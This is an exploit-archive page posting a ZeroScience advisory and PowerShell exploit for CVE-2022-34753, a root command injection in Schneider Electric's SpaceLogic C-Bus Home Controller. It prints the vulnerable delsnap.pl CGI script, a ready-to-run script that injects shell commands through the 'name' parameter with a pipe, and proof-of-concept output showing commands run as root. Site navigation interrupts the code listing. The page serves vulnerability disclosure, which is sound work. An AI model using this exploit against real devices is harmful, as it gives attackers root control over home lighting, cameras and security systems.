Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) Remote Root

Authored by LiquidWorm | Site zeroscience.mk

Posted Jul 21, 2022

Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) versions 1.31.460 and below suffer from an authenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user via the name GET parameter in delsnap.pl Perl/CGI script which is used for deleting snapshots taken from the webcam.

tags | exploit, arbitrary, shell, cgi, root, perl
advisories | CVE-2022-34753
SHA-256 | d419b1daf53d0f565d05d6ba8ea75d7ee176ccb9140c55fa6180d7f9532dc155 **Download** | **Favorite** | **View**

Related Files

Share This

Change Mirror Download

```
<#SpaceLogic.ps1

Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) Remote Root Exploit


Vendor: Schneider Electric SE
Product web page: https://www.se.com
                  https://www.se.com/ww/en/product/5200WHC2/home-controller-spacelogic-cbus-cbus-ip-free-
standing-24v-dc/
                  https://www.se.com/ww/en/product-range/2216-spacelogic-cbus-home-automation-system/?parent-
subcategory-id=88010&filter=business-5-residential-and-small-business#software-and-firmware
Affected version: SpaceLogic C-Bus Home Controller (5200WHC2)
                  formerly known as C-Bus Wiser Home Controller MK2
                  V1.31.460 and prior
                  Firmware: 604

Summary: SpaceLogic C-Bus Home Automation System
Lighting control and automation solutions for
buildings of the future, part of SpaceLogic.
SpaceLogic C-Bus is a powerful, fully integrated
system that can control and automate lighting
and many other electrical systems and products.
The SpaceLogic C-Bus system is robust, flexible,
scalable and has proven solutions for buildings
of the future. Implemented for commercial and
residential buildings automation, it brings
control, comfort, efficiency and ease of use
to its occupants.

Wiser Home Control makes technologies in your
home easy by providing seamless control of music,
home theatre, lighting, air conditioning, sprinkler
systems, curtains and shutters, security systems...
you name it. Usable anytime, anywhere even when
you are away, via preset shortcuts or direct
control, in the same look and feel from a wall
switch, a home computer, or even your smartphone
or TV - there is no wiser way to enjoy 24/7
connectivity, comfort and convenience, entertainment
and peace of mind homewide!

The Wiser 2 Home Controller allows you to access
your C-Bus using a graphical user interface, sometimes
referred to as the Wiser 2 UI. The Wiser 2 Home
Controller arrives with a sample project loaded
and the user interface accessible from your local
home network. With certain options set, you can
also access the Wiser 2 UI from anywhere using
the Internet. Using the Wiser 2 Home Controller
you can: control equipment such as IP cameras,
C-Bus devices and non C-Bus wired and wireless
equipment on the home LAN, schedule events in
the home, create and store scenes on-board, customise
a C-Bus system using the on-board Logic Engine,
monitor the home environment including C-Bus and
security systems, control ZigBee products such
as Ulti-ZigBee Dimmer, Relay, Groups and Curtains.

Examples of equipment you might access with Wiser
2 Home Controller include lighting, HVAC, curtains,
cameras, sprinkler systems, power monitoring, Ulti-ZigBee,
multi-room audio and security controls.

Desc: The home automation solution suffers from
an authenticated OS command injection vulnerability.
This can be exploited to inject and execute arbitrary
shell commands as the root user via the 'name' GET
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 188 files
Ubuntu 57 files
Gentoo 44 files
Debian 28 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
parameter in 'delsnap.pl' Perl/CGI script which is
used for deleting snapshots taken from the webcam.

=========================================================
/www/delsnap.pl:
---------------

01: #!/usr/bin/perl
02: use IO::Handle;
03:
04:
05: select(STDERR);
06: $| = 1;
07: select(STDOUT);
08: $| = 1;
09:
10: #print "\r\n\r\n";
11:
12: $CGITempFile::TMPDIRECTORY = '/mnt/microsd/clipsal/ugen/imgs/';
13: use CGI;
14:
15: my $PROGNAME = "delsnap.pl";
16:
17: my $cgi = new CGI();
18:
19: my $name = $cgi->param('name');
20: if ($name eq "list") {
21:     print "\r\n\r\n";
22:     print "DATA=";
23:     print `ls -C1 /mnt/microsd/clipsal/ugen/imgs/`;
24:     exit(0);
25: }
26: if ($name eq "deleteall") {
27:     print "\r\n\r\n";
28:     print "DELETINGALL=TRUE&";
29:     print `rm /mnt/microsd/clipsal/ugen/imgs/*`;
30:     print "COMPLETED=true\n";
31:     exit(0);
32: }
33: #print "name $name\n";
34: print "\r\n\r\n";
35: my $filename = "/mnt/microsd/clipsal/ugen/imgs/$name";
36:
37: unlink $filename or die "COMPLETED=false\n";
38:
39: print "COMPLETED=true\n";

=========================================================

Tested on: Machine: OMAP3 Wiser2 Board
           CPU: ARMv7 revision 2
           GNU/Linux 2.6.37 (armv7l)
           BusyBox v1.22.1
           thttpd/2.25b
           Perl v5.20.0
           Clipsal 81
           Angstrom 2009.X-stable
           PICED 4.14.0.100
           lighttpd/1.7
           GCC 4.4.3
           NodeJS v10.15.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5710
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5710.php

Vendor advisory: https://download.schneider-electric.com/files?
p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-
Wiser_MK2_Security_Notification.pdf

CVE ID: CVE-2022-34753
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34753


27.03.2022

#>


$host.UI.RawUI.ForegroundColor = "Green"
if ($($args.Count) -ne 2)  {
    Write-Host("`nUsage: .\SpaceLogic.ps1 [IP] [CMD]`n")
} else {
    $ip = $args[0]
    $cmd = $args[1]
    $cmdinj = "/delsnap.pl?name=|$cmd"
    Write-Host("`nSending command '$cmd' to $ip`n")
    #curl -Headers @{Authorization = "Basic XXXX"} -v $ip$cmdinj
    curl -v $ip$cmdinj
}


<#PoC

PS C:\> .\SpaceLogic.ps1

Usage: .\SpaceLogic.ps1 [IP] [CMD]


PS C:\> .\SpaceLogic.ps1 192.168.1.2 "uname -a;id;pwd"

Sending command 'uname -a;id;pwd' to 192.168.1.2

VERBOSE: GET http://192.168.1.2/delsnap.pl?name=|uname -a;id;pwd with 0-byte payload
VERBOSE: received 129-byte response of content type text/html; charset=utf-8


StatusCode        : 200
StatusDescription : OK
Content           : Linux localhost 2.6.37-g4be9a2f-dirty #111 Wed May 21 20:39:38 MYT 2014 armv7l GNU/Linux
                    uid=0(root) gid=0(root)
                    /custom-package
```

```
RawContent        : HTTP/1.1 200 OK
                    Access-Control-Allow-Origin: *
                    Connection: keep-alive
                    Content-Length: 129
                    Content-Type: text/html; charset=utf-8
                    Date: Thu, 30 Jun 2022 14:48:43 GMT
                    ETag: W/"81-LTIWJvYlDBYAlgXEy...
Forms             : {}
Headers           : {[Access-Control-Allow-Origin, *], [Connection, keep-alive], [Content-Length, 129],
[Content-Type, text/html;
                    charset=utf-8]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 129



PS C:\>
#>
```